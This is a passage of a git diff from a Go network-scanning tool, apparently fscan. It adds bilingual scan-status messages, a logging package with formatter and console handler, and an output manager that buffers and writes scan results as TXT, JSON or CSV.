+ LangZH: "检测到SNMP端口161,添加UDP端口到扫描目标",
+ LangEN: "Detected SNMP port 161, adding UDP ports to scan targets",
+ },
+ "scan_task_complete": {
+ LangZH: "扫描已完成: %d/%d",
+ LangEN: "Scan completed: %d/%d",
+ },
+
+ // ========================= 扫描错误消息 =========================
+ "scan_plugin_panic": {
+ LangZH: "[PANIC] 插件 %s 扫描 %s:%s 时崩溃: %v",
+ LangEN: "[PANIC] Plugin %s crashed while scanning %s:%s: %v",
+ },
+ "scan_plugin_not_found": {
+ LangZH: "扫描类型 %v 无对应插件,已跳过",
+ LangEN: "No plugin found for scan type %v, skipped",
+ },
+ "scan_plugin_error": {
+ LangZH: "扫描错误 %v:%v - %v",
+ LangEN: "Scan error %v:%v - %v",
+ },
+
+ // ========================= 扫描器插件消息 =========================
+ "scan_local_start": {
+ LangZH: "开始本地信息收集",
+ LangEN: "Starting local information collection",
+ },
+ "scan_service_start": {
+ LangZH: "开始服务扫描",
+ LangEN: "Starting service scan",
+ },
+ "scan_web_start": {
+ LangZH: "开始Web扫描",
+ LangEN: "Starting web scan",
+ },
+ "scan_general_start": {
+ LangZH: "开始扫描",
+ LangEN: "Starting scan",
+ },
+ "scan_mode_local_prefix": {
+ LangZH: "本地模式",
+ LangEN: "Local mode",
+ },
+ "scan_mode_service_prefix": {
+ LangZH: "服务模式",
+ LangEN: "Service mode",
+ },
+ "scan_mode_web_prefix": {
+ LangZH: "Web模式",
+ LangEN: "Web mode",
+ },
+ "scan_plugins_local": {
+ LangZH: "使用本地插件: %s",
+ LangEN: "Using local plugins: %s",
+ },
+ "scan_plugins_service": {
+ LangZH: "使用服务插件: %s",
+ LangEN: "Using service plugins: %s",
+ },
+ "scan_plugins_web": {
+ LangZH: "使用Web插件: %s",
+ LangEN: "Using web plugins: %s",
+ },
+ "scan_plugins_custom_specified": {
+ LangZH: "使用指定插件: %s",
+ LangEN: "Using specified plugins: %s",
+ },
+ "scan_no_local_plugins": {
+ LangZH: "未找到可用的本地插件",
+ LangEN: "No available local plugins found",
+ },
+ "scan_no_web_plugins": {
+ LangZH: "未找到可用的Web插件",
+ LangEN: "No available web plugins found",
+ },
+ "scan_strategy_local_name": {
+ LangZH: "本地扫描",
+ LangEN: "Local Scan",
+ },
+ "scan_strategy_local_desc": {
+ LangZH: "收集本地系统信息",
+ LangEN: "Collect local system information",
+ },
+ "scan_strategy_service_name": {
+ LangZH: "服务扫描",
+ LangEN: "Service Scan",
+ },
+ "scan_strategy_service_desc": {
+ LangZH: "扫描主机服务和漏洞",
+ LangEN: "Scan host services and vulnerabilities",
+ },
+ "scan_strategy_web_name": {
+ LangZH: "Web扫描",
+ LangEN: "Web Scan",
+ },
+ "scan_strategy_web_desc": {
+ LangZH: "扫描Web应用漏洞和信息",
+ LangEN: "Scan web application vulnerabilities and information",
+ },
+ "scan_alive_hosts_count": {
+ LangZH: "存活主机数量: %d",
+ LangEN: "Alive hosts count: %d",
+ },
+ "scan_strategy_alive_name": {
+ LangZH: "存活探测",
+ LangEN: "Alive Detection",
+ },
+ "scan_strategy_alive_desc": {
+ LangZH: "快速探测主机存活状态",
+ LangEN: "Fast detection of host alive status",
+ },
+ "scan_alive_start": {
+ LangZH: "开始存活探测",
+ LangEN: "Starting alive detection",
+ },
+ "scan_alive_single_target": {
+ LangZH: "目标主机: %s",
+ LangEN: "Target host: %s",
+ },
+ "scan_alive_multiple_targets": {
+ LangZH: "目标主机数量: %d (示例: %s)",
+ LangEN: "Target hosts count: %d (example: %s)",
+ },
+ "scan_alive_summary_title": {
+ LangZH: "存活探测结果摘要",
+ LangEN: "Alive Detection Summary",
+ },
+ "scan_alive_total_hosts": {
+ LangZH: "总主机数: %d",
+ LangEN: "Total hosts: %d",
+ },
+ "scan_alive_hosts_found": {
+ LangZH: "存活主机: %d",
+ LangEN: "Alive hosts: %d",
+ },
+ "scan_alive_dead_hosts": {
+ LangZH: "死亡主机: %d",
+ LangEN: "Dead hosts: %d",
+ },
+ "scan_alive_success_rate": {
+ LangZH: "存活率: %.2f%%",
+ LangEN: "Success rate: %.2f%%",
+ },
+ "scan_alive_duration": {
+ LangZH: "扫描耗时: %v",
+ LangEN: "Scan duration: %v",
+ },
+ "scan_alive_hosts_list": {
+ LangZH: "存活主机列表:",
+ LangEN: "Alive hosts list:",
+ },
+ "target_alive": {
+ LangZH: "存活主机: %s (%s)",
+ LangEN: "Alive host: %s (%s)",
+ },
+
+ // ========================= 进度条消息 =========================
+ "progress_scanning_description": {
+ LangZH: "扫描进度",
+ LangEN: "Scanning Progress",
+ },
+ "progress_port_scanning": {
+ LangZH: "端口扫描",
+ LangEN: "Port Scanning",
+ },
+ "progress_port_scanning_with_threads": {
+ LangZH: "端口扫描 (线程:%d)",
+ LangEN: "Port Scanning (Threads:%d)",
+ },
+ "progress_scan_completed": {
+ LangZH: "扫描完成:",
+ LangEN: "Scan Completed:",
+ },
+ "progress_port_scan_completed": {
+ LangZH: "端口扫描完成:",
+ LangEN: "Port Scan Completed:",
+ },
+ "progress_open_ports": {
+ LangZH: "开放端口",
+ LangEN: "Open Ports",
+ },
+
+ // ========================= 并发状态消息 =========================
+ "concurrency_plugin": {
+ LangZH: "插件",
+ LangEN: "Plugins",
+ },
+ "concurrency_connection": {
+ LangZH: "连接",
+ LangEN: "Conns",
+ },
+ "concurrency_plugin_tasks": {
+ LangZH: "活跃插件任务",
+ LangEN: "Active Plugin Tasks",
+ },
+ "concurrency_connection_details": {
+ LangZH: "连接详情",
+ LangEN: "Connection Details",
+ },
+ "concurrency_no_active_tasks": {
+ LangZH: "无活跃任务",
+ LangEN: "No Active Tasks",
+ },
+
+ // ========================= 扫描配置消息 =========================
+ "scan_config_thread_num": {
+ LangZH: "端口扫描线程数: %d",
+ LangEN: "Port scan threads: %d",
+ },
+ "scan_config_timeout": {
+ LangZH: "连接超时: %ds",
+ LangEN: "Connection timeout: %ds",
+ },
+ "scan_config_module_thread_num": {
+ LangZH: "插件内线程数: %d",
+ LangEN: "Plugin threads: %d",
+ },
+ "scan_config_global_timeout": {
+ LangZH: "单个插件全局超时: %ds",
+ LangEN: "Plugin global timeout: %ds",
+ },
+}
\ No newline at end of file
diff --git a/common/logging/Formatter.go b/common/logging/Formatter.go
new file mode 100644
index 0000000..73a141b
--- /dev/null
+++ b/common/logging/Formatter.go
@@ -0,0 +1,75 @@
+package logging
+
+import (
+ "fmt"
+ "time"
+)
+
+// StandardFormatter 标准日志格式化器
+type StandardFormatter struct {
+ startTime time.Time
+}
+
+// NewStandardFormatter 创建标准格式化器
+func NewStandardFormatter() *StandardFormatter {
+ return &StandardFormatter{
+ startTime: time.Now(),
+ }
+}
+
+// SetStartTime 设置开始时间
+func (f *StandardFormatter) SetStartTime(startTime time.Time) {
+ f.startTime = startTime
+}
+
+// Format 格式化日志条目
+func (f *StandardFormatter) Format(entry *LogEntry) string {
+ elapsed := time.Since(f.startTime)
+ timeStr := f.formatElapsedTime(elapsed)
+ prefix := f.getLevelPrefix(entry.Level)
+
+ return fmt.Sprintf("[%s] %s %s", timeStr, prefix, entry.Content)
+}
+
+// formatElapsedTime 格式化经过的时间
+func (f *StandardFormatter) formatElapsedTime(elapsed time.Duration) string {
+ switch {
+ case elapsed < MaxMillisecondDisplay:
+ // 毫秒显示,不需要小数
+ return fmt.Sprintf("%dms", elapsed.Milliseconds())
+ case elapsed < MaxSecondDisplay:
+ // 秒显示,保留一位小数
+ return fmt.Sprintf("%.1fs", elapsed.Seconds())
+ case elapsed < MaxMinuteDisplay:
+ // 分钟和秒显示
+ minutes := int(elapsed.Minutes())
+ seconds := int(elapsed.Seconds()) % 60
+ return fmt.Sprintf("%dm%ds", minutes, seconds)
+ default:
+ // 小时、分钟和秒显示
+ hours := int(elapsed.Hours())
+ minutes := int(elapsed.Minutes()) % 60
+ seconds := int(elapsed.Seconds()) % 60
+ return fmt.Sprintf("%dh%dm%ds", hours, minutes, seconds)
+ }
+}
+
+// getLevelPrefix 获取日志级别前缀
+func (f *StandardFormatter) getLevelPrefix(level LogLevel) string {
+ switch level {
+ case LevelSuccess:
+ return PrefixSuccess
+ case LevelInfo:
+ return PrefixInfo
+ case LevelError:
+ return PrefixError
+ default:
+ return PrefixDefault
+ }
+}
+
+// =============================================================================================
+// 已删除的死代码(未使用):
+// DetailedFormatter 及其 Format() 方法
+// JSONFormatter 及其 SetStartTime() 和 Format() 方法
+// =============================================================================================
diff --git a/common/logging/Logger.go b/common/logging/Logger.go
new file mode 100644
index 0000000..3c3510f
--- /dev/null
+++ b/common/logging/Logger.go
@@ -0,0 +1,315 @@
+package logging
+
+import (
+ "fmt"
+ "io"
+ "log"
+ "path/filepath"
+ "runtime"
+ "sync"
+ "time"
+
+ "github.com/fatih/color"
+)
+
+// Logger 日志管理器
+type Logger struct {
+ mu sync.RWMutex
+ config *LoggerConfig
+ formatter LogFormatter
+ handlers []LogHandler
+ scanStatus *ScanStatus
+ progressBar ProgressDisplay
+ outputMutex *sync.Mutex
+ initialized bool
+}
+
+// NewLogger 创建新的日志管理器
+func NewLogger(config *LoggerConfig) *Logger {
+ if config == nil {
+ config = DefaultLoggerConfig()
+ }
+
+ logger := &Logger{
+ config: config,
+ formatter: NewStandardFormatter(),
+ handlers: make([]LogHandler, 0),
+ scanStatus: NewScanStatus(),
+ outputMutex: &sync.Mutex{},
+ initialized: true,
+ }
+
+ // 设置格式化器的开始时间
+ logger.formatter.SetStartTime(config.StartTime)
+
+ // 添加默认的控制台处理器
+ consoleHandler := NewConsoleHandler(config)
+ logger.AddHandler(consoleHandler)
+
+ return logger
+}
+
+// =============================================================================================
+// 已删除的死代码(未使用):SetFormatter 方法
+// =============================================================================================
+
+// AddHandler 添加日志处理器
+func (l *Logger) AddHandler(handler LogHandler) {
+ l.mu.Lock()
+ defer l.mu.Unlock()
+ l.handlers = append(l.handlers, handler)
+}
+
+// SetProgressBar 设置进度条显示
+func (l *Logger) SetProgressBar(progressBar ProgressDisplay) {
+ l.mu.Lock()
+ defer l.mu.Unlock()
+ l.progressBar = progressBar
+}
+
+// SetOutputMutex 设置输出互斥锁
+func (l *Logger) SetOutputMutex(mutex *sync.Mutex) {
+ l.mu.Lock()
+ defer l.mu.Unlock()
+ l.outputMutex = mutex
+}
+
+// SetCoordinatedOutput 设置协调输出函数(用于进度条协调)
+func (l *Logger) SetCoordinatedOutput(fn func(string)) {
+ l.mu.RLock()
+ defer l.mu.RUnlock()
+
+ for _, handler := range l.handlers {
+ if consoleHandler, ok := handler.(*ConsoleHandler); ok {
+ consoleHandler.SetCoordinatedOutput(fn)
+ }
+ }
+}
+
+// Log 记录日志
+func (l *Logger) Log(level LogLevel, content string, metadata ...map[string]interface{}) {
+ if !l.shouldLog(level) {
+ return
+ }
+
+ entry := &LogEntry{
+ Level: level,
+ Time: time.Now(),
+ Content: content,
+ }
+
+ // 添加元数据
+ if len(metadata) > 0 {
+ entry.Metadata = metadata[0]
+ }
+
+ // 对于错误级别,自动添加调用者信息
+ if level == LevelError {
+ if _, file, line, ok := runtime.Caller(2); ok {
+ entry.Source = fmt.Sprintf("%s:%d", filepath.Base(file), line)
+ entry.Content = fmt.Sprintf("%s:%d - %s", filepath.Base(file), line, content)
+ }
+ }
+
+ l.handleLogEntry(entry)
+
+ // 更新扫描状态
+ if level == LevelSuccess {
+ l.scanStatus.UpdateSuccess()
+ } else if level == LevelError {
+ l.scanStatus.UpdateError()
+ }
+}
+
+// shouldLog 检查是否应该记录该级别的日志
+func (l *Logger) shouldLog(level LogLevel) bool {
+ switch l.config.Level {
+ case LevelAll:
+ return true
+ case LevelBaseInfoSuccess:
+ return level == LevelBase || level == LevelInfo || level == LevelSuccess
+ case LevelInfoSuccess:
+ return level == LevelInfo || level == LevelSuccess
+ case LevelError:
+ return level == LevelError
+ case LevelBase:
+ return level == LevelBase
+ case LevelInfo:
+ return level == LevelInfo
+ case LevelSuccess:
+ return level == LevelSuccess
+ case LevelDebug:
+ return level == LevelDebug
+ default:
+ // 向后兼容:如果是字符串 "debug",显示所有
+ if l.config.Level == "debug" {
+ return true
+ }
+ // 默认显示base、info和success
+ return level == LevelBase || level == LevelInfo || level == LevelSuccess
+ }
+}
+
+// handleLogEntry 处理日志条目
+func (l *Logger) handleLogEntry(entry *LogEntry) {
+ l.outputMutex.Lock()
+ defer l.outputMutex.Unlock()
+
+ // 清除进度条
+ l.clearProgress()
+
+ // 使用所有处理器处理日志
+ l.mu.RLock()
+ for _, handler := range l.handlers {
+ if handler.IsEnabled() {
+ handler.Handle(entry)
+ }
+ }
+ l.mu.RUnlock()
+
+ // 恢复进度条
+ l.restoreProgress()
+}
+
+// clearProgress 清除进度条
+func (l *Logger) clearProgress() {
+ if l.progressBar != nil {
+ l.progressBar.Clear() // 忽略错误
+ time.Sleep(ProgressClearDelay)
+ }
+}
+
+// restoreProgress 恢复进度条
+func (l *Logger) restoreProgress() {
+ if l.progressBar != nil {
+ l.progressBar.RenderBlank() // 忽略错误
+ }
+}
+
+// 便利方法
+func (l *Logger) Debug(content string, metadata ...map[string]interface{}) {
+ l.Log(LevelDebug, content, metadata...)
+}
+
+func (l *Logger) Base(content string, metadata ...map[string]interface{}) {
+ l.Log(LevelBase, content, metadata...)
+}
+
+func (l *Logger) Info(content string, metadata ...map[string]interface{}) {
+ l.Log(LevelInfo, content, metadata...)
+}
+
+func (l *Logger) Success(content string, metadata ...map[string]interface{}) {
+ l.Log(LevelSuccess, content, metadata...)
+}
+
+func (l *Logger) Error(content string, metadata ...map[string]interface{}) {
+ l.Log(LevelError, content, metadata...)
+}
+
+// =============================================================================================
+// 已删除的死代码(未使用):GetScanStatus 获取扫描状态管理器
+// =============================================================================================
+
+// Initialize 初始化日志系统(兼容原接口)
+func (l *Logger) Initialize() {
+ // 禁用标准日志输出
+ log.SetOutput(io.Discard)
+}
+
+// ConsoleHandler 控制台日志处理器
+type ConsoleHandler struct {
+ config *LoggerConfig
+ formatter LogFormatter
+ enabled bool
+ coordinatedOutput func(string) // 协调输出函数
+ mu sync.RWMutex
+}
+
+// NewConsoleHandler 创建控制台处理器
+func NewConsoleHandler(config *LoggerConfig) *ConsoleHandler {
+ formatter := NewStandardFormatter()
+ formatter.SetStartTime(config.StartTime)
+
+ return &ConsoleHandler{
+ config: config,
+ formatter: formatter,
+ enabled: true,
+ }
+}
+
+// Handle 处理日志条目
+func (h *ConsoleHandler) Handle(entry *LogEntry) {
+ h.mu.RLock()
+ defer h.mu.RUnlock()
+
+ if !h.enabled {
+ return
+ }
+
+ // 使用自己的格式化器格式化消息
+ logMsg := h.formatter.Format(entry)
+
+ // 使用协调输出函数,如果设置了的话
+ if h.coordinatedOutput != nil {
+ if h.config.EnableColor {
+ if colorAttr, ok := h.config.LevelColors[entry.Level]; ok {
+ if attr, ok := colorAttr.(color.Attribute); ok {
+ coloredMsg := color.New(attr).Sprint(logMsg)
+ h.coordinatedOutput(coloredMsg)
+ } else {
+ h.coordinatedOutput(logMsg)
+ }
+ } else {
+ h.coordinatedOutput(logMsg)
+ }
+ } else {
+ h.coordinatedOutput(logMsg)
+ }
+ } else {
+ // 回到原来的直接输出方式
+ if h.config.EnableColor {
+ if colorAttr, ok := h.config.LevelColors[entry.Level]; ok {
+ if attr, ok := colorAttr.(color.Attribute); ok {
+ color.New(attr).Println(logMsg)
+ } else {
+ fmt.Println(logMsg)
+ }
+ } else {
+ fmt.Println(logMsg)
+ }
+ } else {
+ fmt.Println(logMsg)
+ }
+ }
+
+ // 根据慢速输出设置决定是否添加延迟
+ if h.config.SlowOutput {
+ time.Sleep(SlowOutputDelay)
+ }
+}
+
+// SetEnabled 设置处理器启用状态
+func (h *ConsoleHandler) SetEnabled(enabled bool) {
+ h.mu.Lock()
+ defer h.mu.Unlock()
+ h.enabled = enabled
+}
+
+// SetCoordinatedOutput 设置协调输出函数
+func (h *ConsoleHandler) SetCoordinatedOutput(fn func(string)) {
+ h.mu.Lock()
+ defer h.mu.Unlock()
+ h.coordinatedOutput = fn
+}
+
+// IsEnabled 检查处理器是否启用
+func (h *ConsoleHandler) IsEnabled() bool {
+ h.mu.RLock()
+ defer h.mu.RUnlock()
+ return h.enabled
+}
+
+// =============================================================================================
+// 已删除的死代码(未使用):CheckErrs 错误检查函数
+// =============================================================================================
diff --git a/common/logging/Types.go b/common/logging/Types.go
new file mode 100644
index 0000000..3800a0f
--- /dev/null
+++ b/common/logging/Types.go
@@ -0,0 +1,103 @@
+package logging
+
+import (
+ "sync"
+ "time"
+)
+
+
+// LogEntry 定义单条日志的结构
+type LogEntry struct {
+ Level LogLevel `json:"level"` // 日志级别
+ Time time.Time `json:"time"` // 日志时间
+ Content string `json:"content"` // 日志内容
+ Source string `json:"source"` // 日志来源
+ Metadata map[string]interface{} `json:"metadata"` // 附加元数据
+}
+
+// LogFormatter 日志格式化器接口
+type LogFormatter interface {
+ Format(entry *LogEntry) string
+ SetStartTime(startTime time.Time)
+}
+
+// LogHandler 日志处理器接口
+type LogHandler interface {
+ Handle(entry *LogEntry)
+ SetEnabled(enabled bool)
+ IsEnabled() bool
+}
+
+// LoggerConfig 日志器配置
+type LoggerConfig struct {
+ Level LogLevel `json:"level"` // 日志级别
+ EnableColor bool `json:"enable_color"` // 是否启用彩色输出
+ SlowOutput bool `json:"slow_output"` // 是否启用慢速输出
+ ShowProgress bool `json:"show_progress"` // 是否显示进度条
+ StartTime time.Time `json:"start_time"` // 开始时间
+ LevelColors map[LogLevel]interface{} `json:"-"` // 级别颜色映射
+}
+
+// DefaultLoggerConfig 默认日志器配置
+func DefaultLoggerConfig() *LoggerConfig {
+ return &LoggerConfig{
+ Level: DefaultLevel,
+ EnableColor: DefaultEnableColor,
+ SlowOutput: DefaultSlowOutput,
+ ShowProgress: DefaultShowProgress,
+ StartTime: time.Now(),
+ LevelColors: convertColorMap(GetDefaultLevelColors()),
+ }
+}
+
+// convertColorMap 将color.Attribute映射转换为interface{}映射
+func convertColorMap(colorMap map[LogLevel]interface{}) map[LogLevel]interface{} {
+ result := make(map[LogLevel]interface{})
+ for k, v := range colorMap {
+ result[k] = v
+ }
+ return result
+}
+
+// ScanStatus 扫描状态管理器
+type ScanStatus struct {
+ mu sync.RWMutex // 读写互斥锁
+ total int64 // 总任务数
+ completed int64 // 已完成任务数
+ lastSuccess time.Time // 最近一次成功的时间
+ lastError time.Time // 最近一次错误的时间
+}
+
+// NewScanStatus 创建新的扫描状态管理器
+func NewScanStatus() *ScanStatus {
+ now := time.Now()
+ return &ScanStatus{
+ lastSuccess: now,
+ lastError: now,
+ }
+}
+
+// UpdateSuccess 更新最后成功时间
+func (s *ScanStatus) UpdateSuccess() {
+ s.mu.Lock()
+ defer s.mu.Unlock()
+ s.lastSuccess = time.Now()
+}
+
+// UpdateError 更新最后错误时间
+func (s *ScanStatus) UpdateError() {
+ s.mu.Lock()
+ defer s.mu.Unlock()
+ s.lastError = time.Now()
+}
+
+// =============================================================================================
+// 已删除的死代码(未使用):
+// GetLastSuccess, GetLastError, SetTotal, SetCompleted, GetProgress 方法
+// =============================================================================================
+
+// ProgressDisplay 进度条显示接口
+type ProgressDisplay interface {
+ Clear() error
+ RenderBlank() error
+}
\ No newline at end of file
diff --git a/common/logging/constants.go b/common/logging/constants.go
new file mode 100644
index 0000000..84b3dc2
--- /dev/null
+++ b/common/logging/constants.go
@@ -0,0 +1,86 @@
+package logging
+
+/*
+constants.go - 日志系统常量定义
+
+统一管理common/logging包中的所有常量,便于查看和编辑。
+*/
+
+import (
+ "time"
+
+ "github.com/fatih/color"
+)
+
+// =============================================================================
+// 日志级别常量 (从Types.go迁移)
+// =============================================================================
+
+// LogLevel 日志级别类型
+type LogLevel string
+
+// 定义系统支持的日志级别常量
+const (
+ LevelAll LogLevel = "ALL" // 显示所有级别日志
+ LevelError LogLevel = "ERROR" // 仅显示错误日志
+ LevelBase LogLevel = "BASE" // 仅显示基础信息日志
+ LevelInfo LogLevel = "INFO" // 仅显示信息日志
+ LevelSuccess LogLevel = "SUCCESS" // 仅显示成功日志
+ LevelDebug LogLevel = "DEBUG" // 仅显示调试日志
+ LevelInfoSuccess LogLevel = "INFO_SUCCESS" // 仅显示信息和成功日志
+ LevelBaseInfoSuccess LogLevel = "BASE_INFO_SUCCESS" // 显示基础、信息和成功日志
+)
+
+// =============================================================================
+// 时间显示常量 (从Formatter.go迁移)
+// =============================================================================
+
+const (
+ // 时间显示阈值
+ MaxMillisecondDisplay = time.Second // 毫秒显示的最大时长
+ MaxSecondDisplay = time.Minute // 秒显示的最大时长
+ MaxMinuteDisplay = time.Hour // 分钟显示的最大时长
+
+ // 慢速输出延迟
+ SlowOutputDelay = 50 * time.Millisecond
+
+ // 进度条清除延迟
+ ProgressClearDelay = 10 * time.Millisecond
+)
+
+// =============================================================================
+// 日志前缀常量 (从Formatter.go迁移)
+// =============================================================================
+
+const (
+ PrefixSuccess = "[+]" // 成功日志前缀
+ PrefixInfo = "[*]" // 信息日志前缀
+ PrefixError = "[-]" // 错误日志前缀
+ PrefixDefault = " " // 默认日志前缀
+)
+
+// =============================================================================
+// 默认配置常量
+// =============================================================================
+
+const (
+ DefaultLevel = LevelAll // 默认日志级别
+ DefaultEnableColor = true // 默认启用彩色输出
+ DefaultSlowOutput = false // 默认不启用慢速输出
+ DefaultShowProgress = true // 默认显示进度条
+)
+
+// =============================================================================
+// 默认颜色映射
+// =============================================================================
+
+// GetDefaultLevelColors 获取默认的日志级别颜色映射
+func GetDefaultLevelColors() map[LogLevel]interface{} {
+ return map[LogLevel]interface{}{
+ LevelError: color.FgBlue, // 错误日志显示蓝色
+ LevelBase: color.FgYellow, // 基础日志显示黄色
+ LevelInfo: color.FgGreen, // 信息日志显示绿色
+ LevelSuccess: color.FgRed, // 成功日志显示红色
+ LevelDebug: color.FgWhite, // 调试日志显示白色
+ }
+}
\ No newline at end of file
diff --git a/common/output/Manager.go b/common/output/Manager.go
new file mode 100644
index 0000000..ada1c23
--- /dev/null
+++ b/common/output/Manager.go
@@ -0,0 +1,256 @@
+package output
+
+import (
+ "fmt"
+ "os"
+ "path/filepath"
+ "sync"
+ "time"
+
+ "github.com/shadow1ng/fscan/common/i18n"
+)
+
+// Manager 输出管理器
+type Manager struct {
+ mu sync.RWMutex
+ config *ManagerConfig
+ writer OutputWriter
+ reader OutputReader
+ statistics *Statistics
+ buffer []*ScanResult
+ bufferMutex sync.Mutex
+ flushTicker *time.Ticker
+ stopChan chan struct{}
+ initialized bool
+ closed bool
+}
+
+// NewManager 创建新的输出管理器
+func NewManager(config *ManagerConfig) (*Manager, error) {
+ if config == nil {
+ return nil, fmt.Errorf(i18n.GetText("output_config_nil"))
+ }
+
+ // 验证输出格式
+ if err := validateFormat(config.Format); err != nil {
+ return nil, err
+ }
+
+ // 创建输出目录
+ if err := createOutputDir(config.OutputPath); err != nil {
+ return nil, err
+ }
+
+ manager := &Manager{
+ config: config,
+ statistics: NewStatistics(),
+ stopChan: make(chan struct{}),
+ }
+
+ // 初始化写入器
+ if err := manager.initializeWriter(); err != nil {
+ return nil, err
+ }
+
+ // 初始化读取器
+ manager.initializeReader()
+
+ // 如果启用缓冲,初始化缓冲区
+ if config.EnableBuffer {
+ manager.buffer = make([]*ScanResult, 0, config.BufferSize)
+
+ // 如果启用自动刷新,启动定时器
+ if config.AutoFlush {
+ manager.startAutoFlush()
+ }
+ }
+
+ manager.initialized = true
+ return manager, nil
+}
+
+// validateFormat 验证输出格式
+func validateFormat(format OutputFormat) error {
+ switch format {
+ case FormatTXT, FormatJSON, FormatCSV:
+ return nil
+ default:
+ return fmt.Errorf(i18n.GetText("output_unsupported_format"), format)
+ }
+}
+
+// createOutputDir 创建输出目录
+func createOutputDir(outputPath string) error {
+ dir := filepath.Dir(outputPath)
+ return os.MkdirAll(dir, DefaultDirPermissions)
+}
+
+// initializeWriter 初始化写入器
+func (m *Manager) initializeWriter() error {
+ var writer OutputWriter
+ var err error
+
+ switch m.config.Format {
+ case FormatTXT:
+ writer, err = NewTXTWriter(m.config.OutputPath)
+ case FormatJSON:
+ writer, err = NewJSONWriter(m.config.OutputPath)
+ case FormatCSV:
+ writer, err = NewCSVWriter(m.config.OutputPath)
+ default:
+ return fmt.Errorf(i18n.GetText("output_unsupported_format"), m.config.Format)
+ }
+
+ if err != nil {
+ return fmt.Errorf(i18n.GetText("output_writer_init_failed"), err)
+ }
+
+ m.writer = writer
+
+ // 写入头部(如果需要)
+ return m.writer.WriteHeader()
+}
+
+// initializeReader 初始化读取器
+func (m *Manager) initializeReader() {
+ // 目前只有CSV格式支持读取
+ if m.config.Format == FormatCSV {
+ m.reader = NewCSVReader(m.config.OutputPath)
+ }
+}
+
+// startAutoFlush 启动自动刷新
+func (m *Manager) startAutoFlush() {
+ m.flushTicker = time.NewTicker(m.config.FlushInterval)
+ go func() {
+ for {
+ select {
+ case <-m.flushTicker.C:
+ m.flushBuffer()
+ case <-m.stopChan:
+ return
+ }
+ }
+ }()
+}
+
+// SaveResult 保存扫描结果
+func (m *Manager) SaveResult(result *ScanResult) error {
+ m.mu.RLock()
+ defer m.mu.RUnlock()
+
+ if !m.initialized {
+ return fmt.Errorf(i18n.GetText("output_manager_not_init"))
+ }
+
+ if m.closed {
+ return fmt.Errorf(i18n.GetText("output_manager_closed"))
+ }
+
+ // 更新统计信息
+ m.statistics.AddResult(result.Type)
+
+ // 如果启用缓冲,先添加到缓冲区
+ if m.config.EnableBuffer {
+ return m.addToBuffer(result)
+ }
+
+ // 直接写入
+ return m.writer.Write(result)
+}
+
+// addToBuffer 添加结果到缓冲区
+func (m *Manager) addToBuffer(result *ScanResult) error {
+ m.bufferMutex.Lock()
+ defer m.bufferMutex.Unlock()
+
+ m.buffer = append(m.buffer, result)
+
+ // 如果缓冲区已满,立即刷新
+ if len(m.buffer) >= m.config.BufferSize {
+ return m.flushBufferUnsafe()
+ }
+
+ return nil
+}
+
+// flushBuffer 刷新缓冲区(加锁版本)
+func (m *Manager) flushBuffer() error {
+ m.bufferMutex.Lock()
+ defer m.bufferMutex.Unlock()
+ return m.flushBufferUnsafe()
+}
+
+// flushBufferUnsafe 刷新缓冲区(无锁版本,内部使用)
+func (m *Manager) flushBufferUnsafe() error {
+ if len(m.buffer) == 0 {
+ return nil
+ }
+
+ // 批量写入
+ for _, result := range m.buffer {
+ if err := m.writer.Write(result); err != nil {
+ return fmt.Errorf(i18n.GetText("output_write_failed"), err)
+ }
+ }
+
+ // 刷新写入器
+ if err := m.writer.Flush(); err != nil {
+ return fmt.Errorf(i18n.GetText("output_flush_failed"), err)
+ }
+
+ // 清空缓冲区
+ m.buffer = m.buffer[:0]
+ return nil
+}
+
+// =============================================================================================
+// 已删除的死代码(未使用):
+// GetResults, GetResultsWithFilter, GetStatistics, Flush 方法
+// =============================================================================================
+
+// Close 关闭输出管理器
+func (m *Manager) Close() error {
+ m.mu.Lock()
+ defer m.mu.Unlock()
+
+ if m.closed {
+ return nil
+ }
+
+ // 停止自动刷新
+ if m.flushTicker != nil {
+ m.flushTicker.Stop()
+ close(m.stopChan)
+ }
+
+ // 最后一次刷新缓冲区
+ if m.config.EnableBuffer {
+ m.flushBufferUnsafe()
+ }
+
+ // 关闭写入器
+ var err error
+ if m.writer != nil {
+ err = m.writer.Close()
+ }
+
+ // 关闭读取器
+ if m.reader != nil {
+ if closeErr := m.reader.Close(); closeErr != nil && err == nil {
+ err = closeErr
+ }
+ }
+
+ m.closed = true
+ return err
+}
+
+// =============================================================================================
+// 已删除的死代码(未使用):
+// IsInitialized, IsClosed, GetConfig, UpdateConfig 方法
+// =============================================================================================
+
+// =============================================================================================
+// 已删除的死代码(未使用):globalManager 全局变量及 SetGlobalManager 函数
+// =============================================================================================
diff --git a/common/output/Types.go b/common/output/Types.go
new file mode 100644
index 0000000..612d977
--- /dev/null
+++ b/common/output/Types.go
@@ -0,0 +1,102 @@
+package output
+
+import (
+ "sync"
+ "time"
+)
+
+
+
+// ScanResult 扫描结果结构
+type ScanResult struct {
+ Time time.Time `json:"time"` // 发现时间
+ Type ResultType `json:"type"` // 结果类型
+ Target string `json:"target"` // 目标(IP/域名/URL)
+ Status string `json:"status"` // 状态描述
+ Details map[string]interface{} `json:"details"` // 详细信息
+}
+
+// OutputWriter 输出写入器接口
+type OutputWriter interface {
+ Write(result *ScanResult) error
+ WriteHeader() error
+ Flush() error
+ Close() error
+ GetFormat() OutputFormat
+}
+
+// OutputReader 输出读取器接口
+type OutputReader interface {
+ Read() ([]*ScanResult, error)
+ ReadWithFilter(filter *ResultFilter) ([]*ScanResult, error)
+ Close() error
+}
+
+// ResultFilter 结果过滤器
+type ResultFilter struct {
+ Types []ResultType `json:"types"` // 过滤的结果类型
+ Targets []string `json:"targets"` // 过滤的目标
+ TimeRange *TimeRange `json:"time_range"` // 时间范围
+ Limit int `json:"limit"` // 限制数量
+ Offset int `json:"offset"` // 偏移量
+}
+
+// TimeRange 时间范围
+type TimeRange struct {
+ Start time.Time `json:"start"` // 开始时间
+ End time.Time `json:"end"` // 结束时间
+}
+
+// ManagerConfig 输出管理器配置
+type ManagerConfig struct {
+ OutputPath string `json:"output_path"` // 输出路径
+ Format OutputFormat `json:"format"` // 输出格式
+ EnableBuffer bool `json:"enable_buffer"` // 是否启用缓冲
+ BufferSize int `json:"buffer_size"` // 缓冲区大小
+ AutoFlush bool `json:"auto_flush"` // 是否自动刷新
+ FlushInterval time.Duration `json:"flush_interval"` // 刷新间隔
+}
+
+// DefaultManagerConfig 默认管理器配置
+func DefaultManagerConfig(outputPath string, format OutputFormat) *ManagerConfig {
+ return &ManagerConfig{
+ OutputPath: outputPath,
+ Format: format,
+ EnableBuffer: DefaultEnableBuffer,
+ BufferSize: DefaultBufferSize,
